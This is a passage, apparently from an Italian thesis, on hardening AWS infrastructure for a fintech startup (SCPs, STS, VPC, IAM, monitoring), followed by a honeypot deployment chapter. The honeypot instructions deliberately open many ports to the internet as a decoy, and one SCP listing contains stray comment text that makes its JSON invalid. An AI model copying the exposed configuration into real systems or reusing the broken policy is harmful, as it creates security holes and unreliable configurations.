          IAM_CLIENT.put_user_permissions_boundary(
              UserName=BREAK_GLASS_USERNAME,
              PermissionsBoundary=RESTRICTIVE_POLICY_ARN
          )
          print(f"Successfully applied boundary.")
          # Aggiungere notifiche (es. SNS)
     except Exception as e:
          print(f"Error applying boundary: {e}")
          # Gestire l'errore / inviare notifica di
    fallimento
```

Listing 3.3: Esempio Lambda per limitare utente Break Glass (concettuale)

3.4.4 Implementazione di Politiche di Sicurezza Avanzate

Verranno utilizzate policy a livello di Organization e credenziali temporanee per rafforzare ulteriormente la postura di sicurezza.

Service Control Policies (SCPs) a Livello Organizzativo

Le SCPs verranno applicate all'intera AWS Organization (o a specifiche Organizational Units - OUs) per imporre vincoli di sicurezza non aggirabili, nemmeno dall'amministratore locale dell'account.

- **Impedire la Disattivazione di Controlli Chiave**: Applicare una SCP per negare azioni come l'eliminazione dei trail di CloudTrail o la disabilitazione di AWS Config.

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyDeleteCloudTrail",
      "Effect": "Deny",
      "Action": [
        "cloudtrail:DeleteTrail",
        "cloudtrail:StopLogging"
       ],
      "Resource": "*"
    }
  ]
}

```

Listing 3.4: SCP per prevenire l'eliminazione di CloudTrail

- **Restrizione Geografica**: Limitare l'utilizzo delle regioni AWS a quelle approvate (es. 'eu-central-1', 'eu-south-1', 'eu-west-1') per motivi di compliance (es. GDPR) e per ridurre la superficie di attacco [53].

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyNonApprovedRegions",
      "Effect": "Deny",
      "NotAction": [
```

```
            "iam:*",
            "organizations:*",
            "route53:*",
            "budgets:*",
            "waf:*",
            "cloudfront:*",
            "globalaccelerator:*",
            "support:*"
        ],
        "Resource": "*",
        "Condition": {
          "StringNotEquals": {
            "aws:RequestedRegion": [
               "eu-central-1",
               "eu-south-1",
               "eu-west-1",
               "us-east-1" ] ) necessario per alcuni servizi
    globali
            ]
          },
          "ArnNotLike": {
              "aws:PrincipalARN": "arn:aws:iam::*:role/
   OrganizationAccountAccessRole" ) ) Esempio ruolo
   escluso
          }
        }
    }
  ]
}

```

Listing 3.5: SCP per limitare le regioni utilizzabili

Utilizzo Sistematico di Credenziali Temporanee (STS)

Le access key statiche a lunga durata rappresentano un rischio significativo se compromesse [54]. Verrà promossa e, ove possibile, imposta la sostituzione delle chiavi statiche con credenziali temporanee ottenute tramite il servizio AWS Security Token Service (STS).

- **Accesso Umano**: Gli utenti IAM accederanno alla console AWS o alla CLI assumendo ruoli predefiniti, ottenendo credenziali temporanee valide per la durata della sessione.

- **Accesso Applicativo**: Le applicazioni (es. 'finanz-backend') in esecuzione su EC2, ECS, EKS o Lambda utilizzeranno i ruoli IAM associati alle risorse di calcolo per ottenere automaticamente credenziali temporanee, eliminando la necessità di gestire chiavi statiche nel codice o nelle configurazioni.
- **Script e Automazioni**: Gli script che necessitano di interagire con le API AWS dovranno utilizzare comandi come 'aws sts assume-role' per ottenere credenziali temporanee legate a un ruolo specifico, limitato al principio del minimo privilegio.

```
# L'utente/servizio assume un ruolo con permessi specifici (es. S3 ReadOnly)
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/S3ReadOnlyForBackend \
    --role-session-name FinanzBackendReadSession

# Le credenziali restituite (AccessKeyId, SecretAccessKey, SessionToken)
# vengono usate per le chiamate API successive.

```

Listing 3.6: Ottenere credenziali temporanee tramite STS AssumeRole

3.4.5 Implementazione di un Sistema di Approvazione a Due Fasi (Opzionale)

Per operazioni ad alto impatto (es. eliminazione di bucket S3 contenenti dati critici, modifiche a gruppi di sicurezza di produzione), si può valutare l'introduzione di un workflow di approvazione multi-persona tramite AWS Step Functions.

1. **Avvio del Workflow**: Un utente avvia l'operazione tramite un'interfaccia dedicata (es. Lambda function, API Gateway) che attiva la Step Function.
2. **Richiesta di Approvazione**: La Step Function invia notifiche (es. via Amazon SNS a email o SMS) ai responsabili designati.
3. **Approvazione Multipla**: Il workflow attende l'approvazione da parte di due (o più) amministratori distinti. L'approvazione può avvenire tramite un link in email, un'API o la console Step Functions.
4. **Esecuzione Condizionata**: Solo a seguito delle approvazioni richieste, la Step Function esegue l'azione critica (es. invocando una Lambda function con i permessi necessari).

5. **Auditing**: Ogni fase del processo (richiesta, approvazioni, esito) viene registrata su un database di auditing (es. DynamoDB) e/o CloudTrail per tracciabilità completa.

Questa misura aggiunge un livello di controllo deliberato su azioni irreversibili o ad alto rischio.

3.5 Progettazione di una Rete Sicura con Amazon VPC

La base di qualsiasi infrastruttura su AWS è la rete virtuale definita tramite **Amazon Virtual Private Cloud (VPC)**. Il VPC permette di creare un ambiente di rete logicamente isolato all'interno del cloud AWS, su cui si ha pieno controllo (range di indirizzi IP, creazione di subnet, configurazione di route table e network gateway). Una progettazione VPC sicura è il primo livello di difesa.

3.5.1 Subnet Pubbliche e Private

Una pratica fondamentale è la suddivisione del VPC in **subnet pubbliche** e **subnet private**, distribuite su diverse Availability Zones per alta disponibilità.

- Le **subnet pubbliche** hanno una rotta diretta verso l'Internet Gateway (IGW) del VPC e sono tipicamente utilizzate per risorse che devono essere direttamente accessibili da Internet, come i web server o i load balancer pubblici.
- Le **subnet private** non hanno una rotta diretta verso l'IGW. Le risorse in queste subnet (es. application server, database, code build server) non sono direttamente raggiungibili da Internet, migliorando significativamente la sicurezza. Possono accedere a Internet in uscita (es. per scaricare patch o chiamare API esterne) tramite un *NAT Gateway* o *NAT Instance* posizionato nella subnet pubblica.

Per una startup fintech, i server applicativi che elaborano transazioni e i database contenenti dati sensibili dei clienti dovrebbero **sempre risiedere in subnet private**.

3.5.2 Gruppi di Sicurezza e Network ACL

Il controllo del traffico all'interno del VPC è affidato a due meccanismi principali:

- **Gruppi di Sicurezza (Security Groups - SG)**:** Agiscono come un firewall a livello di istanza (EC2, RDS, etc.). Sono *stateful*, il che significa che se

il traffico in uscita è permesso, il traffico di ritorno corrispondente è automaticamente permesso, indipendentemente dalle regole in ingresso. Si configurano specificando le porte e i protocolli permessi in ingresso e in uscita, tipicamente referenziando altri SG o specifici indirizzi IP/range. La best practice è applicare il principio del minimo privilegio: permettere solo il traffico strettamente necessario (es. permettere solo la porta 443 da un Application Load Balancer al SG dei web server).

- **Network Access Control Lists (Network ACLs)**:** Agiscono come un firewall a livello di subnet. Sono *stateless*, quindi è necessario definire regole esplicite sia per il traffico in ingresso che per quello in uscita. Hanno regole numerate (da 1 a 32766) che vengono valutate in ordine, e la prima regola che corrisponde determina l'azione (ALLOW o DENY). Offrono un livello di difesa aggiuntivo, utile per bloccare specifici IP malevoli a livello di subnet o per applicare regole di rete più ampie. Di default, permettono tutto il traffico.

È buona norma usare entrambi: SG per controlli granulari a livello di istanza e NACL per regole più ampie a livello di subnet.

3.5.3 NAT Gateway e Accesso a Internet

Come accennato, le istanze in subnet private necessitano di un meccanismo per accedere a Internet per aggiornamenti o chiamate API. AWS offre il servizio gestito **NAT Gateway**, che è altamente disponibile e scalabile. Creando un NAT Gateway in una subnet pubblica e configurando le route table delle subnet private affinché instradino il traffico destinato a Internet (0.0.0.0/0) verso il NAT Gateway, le istanze private possono comunicare con l'esterno senza avere un IP pubblico direttamente esposto.

3.5.4 Connessioni Sicure (Opzionale: VPN/Direct Connect)

Se la startup necessita di connettere in modo sicuro la propria infrastruttura AWS a data center on-premises (raro per startup native cloud, ma possibile) o a reti di partner, AWS offre servizi come **AWS Site-to-Site VPN** (per creare tunnel IPsec crittografati su Internet) o **AWS Direct Connect** (per una connessione fisica dedicata e privata tra la rete on-premises e AWS).

3.6 Gestione Sicura delle Istanze EC2

Le istanze **Amazon EC2** sono le macchine virtuali su cui spesso girano le applicazioni. La loro sicurezza è cruciale.

3.6.1 Scelta delle AMI e Hardening

- **Utilizzare AMI affidabili:** Partire da Amazon Machine Images (AMI) fornite da AWS o da venditori fidati sul Marketplace. Evitare AMI pubbliche non verificate.
- **Hardening del Sistema Operativo:** Applicare pratiche di hardening: disabilitare servizi non necessari, configurare correttamente il firewall locale (es. iptables/firewalld su Linux, Windows Firewall), applicare regolarmente le patch di sicurezza. AWS Systems Manager Patch Manager può automatizzare il patching.
- **Minimizzare il software installato:** Installare solo il software strettamente necessario per la funzione dell'istanza, riducendo la superficie d'attacco.

3.6.2 Utilizzo di IAM Roles per EC2

Questa è una delle pratiche di sicurezza più importanti. **Mai salvare credenziali AWS statiche (Access Key ID e Secret Access Key) direttamente su un'istanza EC2**. Invece, associare un **IAM Role** all'istanza al momento del lancio. L'applicazione in esecuzione sull'istanza può quindi ottenere credenziali temporanee tramite il servizio metadati dell'istanza, assumendo i permessi definiti nel ruolo associato. Questo elimina il rischio di esposizione di credenziali a lungo termine. Il ruolo deve seguire il principio del minimo privilegio (es. un'istanza che deve solo leggere da un bucket S3 dovrebbe avere un ruolo con solo permessi 's3:GetObject' su quel bucket).

3.6.3 Scalabilità Automatica (Auto Scaling Groups)

Per garantire disponibilità e gestire picchi di carico, è fondamentale utilizzare **Auto Scaling Groups (ASG)**. Un ASG gestisce un gruppo di istanze EC2 identiche, assicurando che il numero desiderato di istanze sia sempre in esecuzione. Può aumentare (scale out) o diminuire (scale in) automaticamente il numero di istanze in base a metriche (es. utilizzo CPU, numero di richieste) o a una pianificazione. Gli ASG lavorano tipicamente in congiunzione con un **Elastic Load Balancer (ELB)** che distribuisce il traffico tra le istanze attive nell'ASG. Questo non solo migliora la disponibilità e la performance, ma anche la resilienza: se un'istanza fallisce, l'ASG la rimpiazza automaticamente.

3.7 Protezione dei Dati Sensibili

In una fintech, la protezione dei dati dei clienti e delle transazioni è di massima priorità. AWS offre diversi strumenti per questo.

3.7.1 Crittografia a Riposo e in Transito

- **Crittografia a Riposo (At Rest)**:** È fondamentale crittografare i dati sensibili quando sono memorizzati. AWS facilita questo:
  - **Amazon S3:** Abilitare la Server-Side Encryption (SSE-S3, SSE-KMS, SSE-C) sui bucket che contengono dati sensibili. SSE-KMS offre maggiore controllo tramite AWS Key Management Service.
  - **Amazon EBS:** Abilitare la crittografia sui volumi EBS associati alle istanze EC2.
  - **Amazon RDS:** Abilitare la crittografia per i database gestiti.
- **Crittografia in Transito (In Transit)**:** Tutto il traffico contenente dati sensibili (es. API calls, connessioni al database, traffico tra servizi) deve usare protocolli crittografati come TLS/SSL. Configurare i Load Balancer per terminare HTTPS, usare connessioni sicure ai database RDS, e assicurarsi che le chiamate API interne usino HTTPS.

3.7.2 Gestione delle Chiavi con AWS KMS

AWS Key Management Service (KMS) è un servizio gestito che facilita la creazione e il controllo delle chiavi di crittografia utilizzate per proteggere i dati. Permette di:

- Creare e gestire Customer Master Keys (CMKs).
- Definire policy di accesso granulari per controllare chi (utenti o ruoli IAM) può usare quali chiavi e per quali operazioni (encrypt, decrypt).
- Auditare l'utilizzo delle chiavi tramite AWS CloudTrail.

Usare KMS per la crittografia lato server (SSE-KMS) su S3, EBS, RDS, ecc., offre un controllo centralizzato e sicuro sulle chiavi. Per requisiti di sicurezza ancora più elevati, si può considerare **AWS CloudHSM**.

3.7.3 Backup e Disaster Recovery

Avere backup regolari e testati è essenziale per il recupero da errori o attacchi (es. ransomware).

- **AWS Backup:** Un servizio centralizzato per gestire e automatizzare i backup di vari servizi AWS (EBS, RDS, DynamoDB, EFS, etc.). Permette di definire policy di backup (frequenza, retention) e di copiarli in altre regioni per disaster recovery.
- **Snapshot RDS/EBS:** I servizi come RDS e EBS offrono funzionalità di snapshot automatici e manuali.
- **Versioning S3:** Abilitare il versioning sui bucket S3 critici permette di recuperare oggetti cancellati o sovrascritti accidentalmente.
- **Piano di Disaster Recovery (DR)**:** Definire e testare un piano di DR. Questo potrebbe includere strategie come backup cross-region, pilot light, o warm standby, a seconda dell'RTO (Recovery Time Objective) e RPO (Recovery Point Objective) richiesti.

3.7.4 Sicurezza dei Bucket S3

Amazon S3 è ampiamente utilizzato, ma le configurazioni errate sono una causa comune di data breach.

- **Block Public Access:** Abilitare sempre l'impostazione "Block Public Access" a livello di account e/o di bucket, a meno che non ci sia una ragione specifica e valida per l'accesso pubblico.
- **Bucket Policies e IAM Policies:** Usare policy granulari per limitare l'accesso ai bucket solo agli utenti, ruoli o servizi specifici che ne hanno bisogno.
- **S3 Access Points:** Creare punti di accesso specifici per diverse applicazioni o team, ognuno con la propria policy, semplificando la gestione degli accessi su larga scala.
- **Amazon Macie:** Usare questo servizio per scoprire e proteggere dati sensibili (es. PII, credenziali) archiviati in S3.

3.8 Implementazione di Controlli IAM Efficaci

Come già sottolineato, **AWS Identity and Access Management (IAM)** è fondamentale per la sicurezza.

3.8.1 Principio del Minimo Privilegio

Applicare rigorosamente il principio del minimo privilegio a utenti, gruppi e ruoli IAM. Concedere solo i permessi strettamente necessari per svolgere un compito specifico. Ad esempio, un ruolo per un'applicazione che deve solo scrivere log in CloudWatch Logs necessita solo dei permessi 'logs:CreateLogStream' e 'logs:PutLogEvents', non permessi amministrativi generici. Usare le policy condition per restringere ulteriormente l'accesso (es. permettere azioni solo da specifici IP o solo se è attiva l'MFA).

3.8.2 Autenticazione a Più Fattori (MFA)

Richiedere l'uso dell'Autenticazione a Più Fattori (MFA) per **tutti** gli utenti IAM umani, specialmente per l'utente root dell'account (che dovrebbe essere usato il meno possibile) e per gli utenti con privilegi amministrativi. Questo aggiunge un livello critico di protezione contro il furto di credenziali.

3.8.3 Revisione Periodica dei Permessi

I permessi tendono ad accumularsi ("privilege creep"). È essenziale rivedere periodicamente (es. trimestralmente) le policy IAM per rimuovere permessi non più necessari. Strumenti come **AWS IAM Access Analyzer** possono aiutare a identificare permessi eccessivi o risorse condivise esternamente.

3.9 Monitoraggio Continuo e Logging

Non si può proteggere ciò che non si vede. Un monitoraggio e un logging robusti sono essenziali per rilevare attività sospette e rispondere agli incidenti.

3.9.1 Abilitazione di CloudTrail e CloudWatch

- **AWS CloudTrail:** Abilitare CloudTrail in **tutte** le regioni. CloudTrail registra quasi tutte le chiamate API effettuate nel tuo account AWS, fornendo una traccia di audit fondamentale ("chi ha fatto cosa, quando e da dove"). Assicurarsi che i log di CloudTrail siano protetti (es. inviati a un bucket S3 dedicato con logging e crittografia abilitati, e opzionalmente integrità dei file di log abilitata).
- **Amazon CloudWatch:** Usare CloudWatch per raccogliere metriche (es. utilizzo CPU, I/O disco, latenza del Load Balancer), log dalle applicazioni e dai sistemi operativi (tramite l'agente CloudWatch), ed eventi.

3.9.2 Configurazione di Allarmi CloudWatch

Non basta raccogliere log e metriche, bisogna agire su di essi. Configurare allarmi CloudWatch per notifiche proattive su condizioni anomale o eventi critici, ad esempio:

- Utilizzo elevato di CPU/Memoria/Rete su istanze critiche.
- Errori HTTP 5xx sul Load Balancer.
- Tentativi di login falliti (filtrando i log).
- Modifiche a risorse di sicurezza critiche (es. modifiche a Security Group, NACL, policy IAM) rilevate tramite eventi CloudTrail.
- Chiamate API specifiche indicative di potenziale abuso (es. 'TerminateInstances' non autorizzate).

Gli allarmi possono inviare notifiche a un topic SNS (Simple Notification Service), che può poi inoltrarle via email, SMS, o triggerare funzioni Lambda per azioni automatiche.

3.9.3 Utilizzo di AWS Security Hub e GuardDuty

- **Amazon GuardDuty:** È un servizio di rilevamento delle minacce gestito che monitora continuamente attività malevole o non autorizzate analizzando log VPC Flow Logs, CloudTrail e DNS. Rileva minacce come istanze compromesse usate per mining di criptovalute, accessi anomali da IP malevoli noti, scansioni di porte, ecc. È fondamentale abilitarlo in tutte le regioni pertinenti.
- **AWS Security Hub:** Fornisce una vista centralizzata degli avvisi di sicurezza (findings) provenienti da diversi servizi AWS (GuardDuty, Inspector, Macie, IAM Access Analyzer, Firewall Manager) e da prodotti di partner. Aiuta a prioritizzare e gestire i risultati della sicurezza e a verificare la conformità rispetto a standard come CIS AWS Foundations Benchmark.

3.10 Automazione con Infrastructure as Code (IaC)

Per garantire coerenza, ridurre errori manuali e facilitare la revisione della sicurezza, è fortemente raccomandato gestire l'infrastruttura AWS tramite **Infrastructure as Code (IaC)**.

- **Strumenti:** Utilizzare strumenti come **AWS CloudFormation** (nativo AWS) o **Terraform** (agnostico rispetto al cloud) per definire l'infrastruttura (VPC, istanze, database, policy IAM, etc.) in file di testo (YAML o JSON).

- **Benefici:**
  - **Ripetibilità e Coerenza:** L'infrastruttura può essere deployata in modo identico in diversi ambienti (dev, staging, prod) o regioni.
  - **Versionamento:** I file IaC possono essere messi sotto controllo di versione (es. Git), tracciando le modifiche e permettendo rollback.
  - **Automazione:** Il deployment e gli aggiornamenti sono automatizzati, riducendo il rischio di errori umani.
  - **Audit e Revisione:** È più facile revisionare la configurazione dell'infrastruttura (e quindi la sua postura di sicurezza) analizzando i file di codice piuttosto che navigando nella console AWS.
  - **Integrazione con CI/CD:** L'IaC si integra bene nelle pipeline di Continuous Integration/Continuous Deployment per automatizzare anche il provisioning dell'infrastruttura necessaria per le applicazioni.

Adottare IaC sin dalle prime fasi aiuta a costruire un'infrastruttura robusta e gestibile nel tempo.

Questo capitolo ha fornito una panoramica delle implementazioni pratiche e delle best practice per costruire e proteggere un'infrastruttura AWS per una startup fintech. Naturalmente, ogni implementazione specifica richiederà ulteriori dettagli e adattamenti in base ai requisiti unici dell'applicazione e del business. I capitoli successivi potrebbero approfondire ulteriormente specifici aspetti come la gestione degli incidenti, i test di penetrazione o l'integrazione di strumenti di terze parti.

Capitolo 4

Implementazione di un Honeypot in un'Infrastruttura AWS per Startup Fintech

Nell'odierno panorama della cybersecurity, gli attacchi informatici diretti verso le istituzioni finanziarie stanno diventando sempre più sofisticati e frequenti. Le startup fintech, che gestiscono dati sensibili e transazioni economiche, rappresentano un bersaglio particolarmente appetibile per i cybercriminali. Questo capitolo esamina l'implementazione di un honeypot all'interno di un'infrastruttura AWS come strumento di sicurezza proattiva per una startup fintech, analizzandone definizione, utilità, vantaggi, svantaggi, costi e procedure tecniche di implementazione. L'analisi includerà inoltre un esperimento pratico di attacco per verificare l'efficacia dell'implementazione.

4.1 Definizione e Utilità di un Honeypot

4.1.1 Che cos'è un Honeypot

Un honeypot in informatica è un meccanismo di sicurezza progettato per funzionare come esca, con lo scopo di attirare i cybercriminali in modo da poterne osservare metodologie, tecniche e strumenti utilizzati durante un tentativo di intrusione [55]. Il termine "honeypot" (letteralmente "barattolo di miele") riflette efficacemente la sua funzione: attirare gli aggressori informatici come il miele attira gli insetti, per poi studiarli e sviluppare contromisure adeguate [56].

Si tratta di un sistema hardware o software che simula un ambiente vulnerabile, isolato dall'infrastruttura di produzione principale dell'organizzazione, progettato per essere percepito come un bersaglio legittimo e interessante dagli attaccanti [57], [58]. L'honeypot appare deliberatamente vulnerabile e allettante, imitando un obiettivo

reale come un server, una rete o un'applicazione contenente dati apparentemente preziosi [55], [59].

4.1.2 Utilità nel Contesto di una Startup Fintech

Nel contesto di una startup fintech, un honeypot risulta particolarmente utile per diverse ragioni strategiche:

1. **Rilevamento precoce delle minacce**: Consente di identificare tentativi di intrusione nella fase iniziale, prima che raggiungano i sistemi critici contenenti dati finanziari sensibili.

2. **Comprensione degli attaccanti**: Fornisce informazioni preziose sulle tattiche, tecniche e procedure (TTP) utilizzate dagli aggressori specificamente interessati ai servizi finanziari [60].

3. **Riduzione dei falsi positivi**: A differenza di altri sistemi di sicurezza, qualsiasi interazione con un honeypot è probabilmente malevola, riducendo l'affaticamento da allerta.

4. **Aggiornamento delle difese**: Permette di perfezionare i sistemi di rilevamento delle intrusioni (IDS) e migliorare la risposta alle minacce basandosi su attacchi reali [61].

5. **Conformità normativa**: Aiuta a dimostrare un approccio proattivo alla sicurezza, supportando la conformità con normative finanziarie stringenti come PSD2, GDPR e altre regolamentazioni del settore fintech.

4.2 Tipologie di Honeypot

La scelta della tipologia di honeypot dipende dagli obiettivi specifici dell'organizzazione e dal livello di risorse che intende investire. Per una startup fintech, è fondamentale comprendere le diverse opzioni disponibili per selezionare la soluzione più adatta [58].

4.2.1 Classificazione per Livello di Interazione

Honeypot a Bassa Interazione

Gli honeypot a bassa interazione simulano servizi di rete semplici come server web, FTP o database, limitando l'interazione con l'attaccante [60]. Questi sistemi:

- Registrano principalmente le attività di base degli aggressori.

- Richiedono risorse limitate per l'implementazione e la manutenzione.
- Presentano un rischio minimo di compromissione.
- Sono efficaci contro attacchi automatizzati e scansioni di massa [62].

Honeypot ad Alta Interazione

Gli honeypot ad alta interazione replicano sistemi complessi o interi segmenti di rete, offrendo un ambiente più realistico che può attrarre attacchi mirati e sofisticati [60]. Questi honeypot:

- Consentono un'interazione estesa con gli aggressori.
- Raccolgono informazioni dettagliate sui metodi d'attacco avanzati.
- Richiedono maggiori risorse e competenze per implementazione e gestione.
- Comportano un rischio più elevato di essere utilizzati come trampolino per ulteriori attacchi.

4.2.2 Classificazione per Scopo

Honeypot di Ricerca

Utilizzati principalmente da istituzioni governative e centri di ricerca, sono progettati per analizzare approfonditamente gli attacchi subiti al fine di perfezionare le tecniche di protezione esistenti [55]. Questi honeypot sono generalmente complessi e richiedono un monitoraggio continuo. Un esempio di setup su AWS per ricerca è discusso in [63].

Honeypot di Produzione

Impiegati comunemente in ambito aziendale, gli honeypot di produzione vengono implementati all'interno di un più ampio sistema di difesa attiva (Intrusion Detection System o IDS) [55]. Sono concepiti per:

- Identificare attacchi in corso nell'ambiente produttivo.
- Distrarre gli aggressori dai sistemi reali.
- Generare avvisi in tempo reale.
- Supportare le operazioni di sicurezza quotidiane.

4.3 Vantaggi e Svantaggi degli Honeypot

4.3.1 Vantaggi

L'implementazione di un honeypot in un'infrastruttura AWS per una startup fintech offre numerosi vantaggi significativi:

1. **Raccolta di intelligence sulle minacce**: Gli honeypot permettono di osservare gli aggressori in azione, raccogliendo informazioni preziose sulle loro identità, tattiche, strumenti e motivazioni [55], [61]. Questa intelligence è particolarmente rilevante per le fintech, che sono spesso bersagli di attacchi mirati.

2. **Identificazione di vulnerabilità**: Facilitano la scoperta delle debolezze nei sistemi informatici aziendali [56], permettendo di anticipare e correggere potenziali problemi prima che vengano sfruttati in attacchi reali.

3. **Rilevamento precoce di nuove minacce**: Possono intercettare attacchi zero-day o tecniche emergenti prima che raggiungano i sistemi di produzione.

4. **Deviazione degli attacchi**: Attirano gli aggressori su sistemi non critici, proteggendo i sistemi reali contenenti dati finanziari sensibili [60].

5. **Valutazione dell'efficacia delle difese**: Consentono di testare l'adeguatezza delle misure di sicurezza esistenti e identificare potenziali vulnerabilità da correggere [60].

6. **Riduzione dei falsi positivi**: A differenza di altri strumenti di sicurezza, qualsiasi attività su un honeypot è presumibilmente sospetta, riducendo il problema dei falsi allarmi [62].

7. **Miglioramento del tempo di risposta**: Forniscono avvisi tempestivi che permettono interventi rapidi, riducendo il tempo medio di rilevamento (MTTD) e di risposta (MTTR) agli incidenti di sicurezza.

4.3.2 Svantaggi

Nonostante i benefici, l'implementazione di honeypot presenta anche alcune criticità da considerare:

1. **Rischio di identificazione**: Se gli attaccanti si accorgono dell'inganno, potrebbero cambiare strategia e dirigere i loro sforzi verso altri sistemi [57], [58], vanificando il valore dell'honeypot.

2. **Complessità di gestione**: Richiedono competenze specifiche per l'implementazione e il monitoraggio, aumentando potenzialmente il carico di lavoro per il team IT di una startup.

3. **Rischi di compromissione**: Se non configurati correttamente, gli honeypot potrebbero diventare un punto d'ingresso per accedere ai sistemi reali [56] o essere usati per attaccare terzi.

4. **Considerazioni legali**: In alcune giurisdizioni, l'utilizzo di honeypot potrebbe sollevare questioni legali relative alla privacy e all'intrappolamento.

5. **Costi operativi**: Richiedono risorse per la configurazione, il mantenimento e l'analisi, che potrebbero essere significative per una startup con budget limitato [64].

6. **Falso senso di sicurezza**: Affidarsi eccessivamente agli honeypot potrebbe portare a trascurare altri aspetti fondamentali della sicurezza informatica.

4.4 Implementazione di un Honeypot in AWS

Diverse soluzioni e guide esistono per implementare honeypot su AWS, da soluzioni open-source come Cowrie [65], [66], [67] e T-Pot [68] a soluzioni commerciali disponibili sul Marketplace [69] o integrazioni con piattaforme SIEM/IDR [70], [71].

4.4.1 Pianificazione e Requisiti

Prima di procedere con l'implementazione tecnica, è fondamentale definire chiaramente obiettivi e requisiti:

- **Obiettivi di sicurezza**: Determinare se lo scopo principale è il rilevamento precoce delle minacce, la raccolta di intelligence o la distrazione degli attaccanti.
- **Tipo di honeypot**: Selezionare tra honeypot a bassa o alta interazione in base alle risorse disponibili e agli obiettivi.
- **Posizionamento**: Decidere se collocare l'honeypot all'interno o all'esterno del perimetro aziendale (es. in una DMZ).
- **Risorse da simulare**: Identificare quali servizi finanziari o applicazioni imitare per risultare attraenti agli aggressori (potenzialmente informato da analisi di mercato come [72]).

- **Meccanismi di monitoraggio**: Definire come verranno registrati e analizzati i tentativi di intrusione (es. log CloudWatch [73]).
- **Procedure di risposta**: Stabilire protocolli di intervento in caso di rilevamento di attacchi.

4.4.2 Selezione del Tipo di Honeypot per una Startup Fintech

Per una startup fintech, consigliamo un approccio equilibrato:

- **Fase iniziale**: Implementare honeypot a bassa interazione che simulino API finanziarie, portali di internet banking e database con dati fittizi. Questi sono più semplici da gestire e meno rischiosi.
- **Fase avanzata**: Considerare honeypot ad alta interazione (come T-Pot [68] o configurazioni custom [63]) che emulino interi sistemi di pagamento o piattaforme di trading, per raccogliere intelligence più dettagliata.

4.4.3 Implementazione Tecnica in AWS

Architettura Generale

L'architettura proposta utilizza diversi servizi AWS per creare un sistema di honeypot sicuro ed efficace:

```
VPC Isolato
|
|-- Public Subnet (DMZ)
|   |-- Honeypot Server EC2 (es. T-Pot)
|   |-- (Opzionale) Load Balancer (ALB)
|
|-- Private Subnet (per gestione/monitoraggio sicuro)
    |-- (Opzionale) Server di monitoraggio
    |-- Database per log (es. RDS, se non si usa CloudWatch/Elasticsearch)
    |-- Integrazione con AWS CloudWatch
    |-- Integrazione con AWS GuardDuty
```

Configurazione del VPC Isolato

Il primo passo consiste nel creare un Virtual Private Cloud (VPC) isolato dalla rete di produzione per contenere l'honeypot e limitare i rischi.

```
# Creazione VPC
aws ec2 create-vpc --cidr-block 10.0.0.0/16 --tag-specifications 'ResourceType=vpc,Tags=[{Key=Name,Value=HoneypotVPC}]'

# Creazione subnet pubblica
aws ec2 create-subnet --vpc-id vpc-xxxxxxxx --cidr-block 10.0.1.0/24 --availability-zone eu-west-1a --tag-specifications 'ResourceType=subnet,Tags=[{Key=Name,Value=HoneypotPublicSubnet}]'

# Creazione subnet privata (per gestione sicura, se necessaria)
aws ec2 create-subnet --vpc-id vpc-xxxxxxxx --cidr-block 10.0.2.0/24 --availability-zone eu-west-1a --tag-specifications 'ResourceType=subnet,Tags=[{Key=Name,Value=HoneypotPrivateSubnet}]'

# Configurazione Internet Gateway e Route Table per la subnet pubblica
aws ec2 create-internet-gateway --tag-specifications 'ResourceType=internet-gateway,Tags=[{Key=Name,Value=HoneypotIGW}]'
aws ec2 attach-internet-gateway --internet-gateway-id igw-xxxxxxxx --vpc-id vpc-xxxxxxxx
# ... creare route table, aggiungere route 0.0.0.0/0 via IGW, associare a subnet pubblica ...
```

Listing 4.1: Comandi AWS CLI (esemplificativi) per la creazione di un VPC isolato

Implementazione del Server Honeypot (Esempio con EC2)

Creiamo un'istanza EC2 (es. tipo t2.micro o t2.medium [74]) che ospiterà il software honeypot.

```
# Creazione Security Group (aprire solo porte necessarie per l'honeypot!)
aws ec2 create-security-group --group-name HoneypotSG --description "Security Group for Honeypot" --vpc-id vpc-xxxxxxxx
# Esempio: Apertura porte comuni per T-Pot (SSH, Telnet, Web, etc.)
# ATTENZIONE: Aprire queste porte rende l'istanza un bersaglio!
```

```
aws ec2 authorize-security-group-ingress --group-id sg-xxxxxxxx --protocol tcp --port 22 --cidr 0.0.0.0/0
aws ec2 authorize-security-group-ingress --group-id sg-xxxxxxxx --protocol tcp --port 80 --cidr 0.0.0.0/0
aws ec2 authorize-security-group-ingress --group-id sg-xxxxxxxx --protocol tcp --port 443 --cidr 0.0.0.0/0
# ... aggiungere altre porte in base all'honeypot scelto (es. 23, 69, 135, 445, 1433, 3306, 5060, 5900, 6379, 8080, etc.)

# Lancio istanza EC2 (usare un'AMI Linux recente)
aws ec2 run-instances --image-id ami-xxxxxxxx --count 1 --instance-type t2.micro --key-name your-key-pair --security-group-ids sg-xxxxxxxx --subnet-id subnet-xxxxxxxx --associate-public-ip-address --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=HoneypotServer}]' --user-data file://honeypot-setup.sh
```

Listing 4.2: Configurazione (esemplificativa) del server honeypot EC2

Lo script 'honeypot-setup.sh' potrebbe installare un software honeypot come T-Pot (seguendo guide come [68]) o Cowrie ([65], [66]).

```
#!/bin/bash
apt-get update -y
apt-get install -y git docker.io # Prerequisiti T-Pot
systemctl enable docker
systemctl start docker

# Clonazione e installazione T-Pot (consultare la guida ufficiale per i dettagli!)
# git clone https://github.com/telekom-security/tpotce.git /opt/tpot
# cd /opt/tpot/iso/installer/
# ./install.sh --type=user # Scegliere il tipo appropriato

# Esempio: Installazione agente CloudWatch Logs per inviare log T-Pot
apt-get install -y python3-pip
pip3 install awscli awslogs
# ... configurare /etc/awslogs/awslogs.conf per leggere i log da /data/tpot/log/* ...
# systemctl enable awslogsd
# systemctl start awslogsd
```

```
echo "Honeypot setup script finished."
```

Listing 4.3: Script di esempio 'honeypot-setup.sh' per installare T-Pot (semplificato)

Configurazione del Sistema di Monitoraggio (CloudWatch, GuardDuty)

Implementiamo un sistema di monitoraggio robusto utilizzando servizi AWS nativi.

```
# Creazione del gruppo di log CloudWatch per i log dell'honeypot
aws logs create-log-group --log-group-name /honeypot/logs --region eu-west-1

# Creazione del detector di GuardDuty
aws guardduty create-detector --enable --finding-publishing-frequency FIFTEEN_MINUTES --region eu-west-1

# Creazione di un topic SNS per le notifiche di allarmi/findings
